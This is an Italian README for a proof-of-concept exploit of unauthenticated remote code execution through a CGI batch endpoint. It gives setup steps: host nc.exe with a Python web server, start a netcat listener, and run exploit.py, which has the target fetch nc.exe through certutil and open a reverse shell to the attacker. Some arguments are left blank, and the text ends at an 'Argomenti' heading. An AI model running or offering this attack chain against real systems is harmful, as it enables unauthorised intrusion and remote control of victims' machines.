CGI RCE Exploit

PoC per RCE non autenticata tramite endpoint CGI batch. Scarica nc.exe sul target usando certutil e attiva una reverse shell.

Configurazione

1. Servi nc.exe (nella stessa directory in cui si trova nc.exe):

python3 -m http.server 80

2. Avvia il tuo listener:

nc -lvnp 1234

3. Esegui l'exploit:

python3 exploit.py \
  --url http://:/cgi/.bat \
  --server-ip  \
  --server-port 80 \
  --nc-ip  \
  --nc-port 1234

Argomenti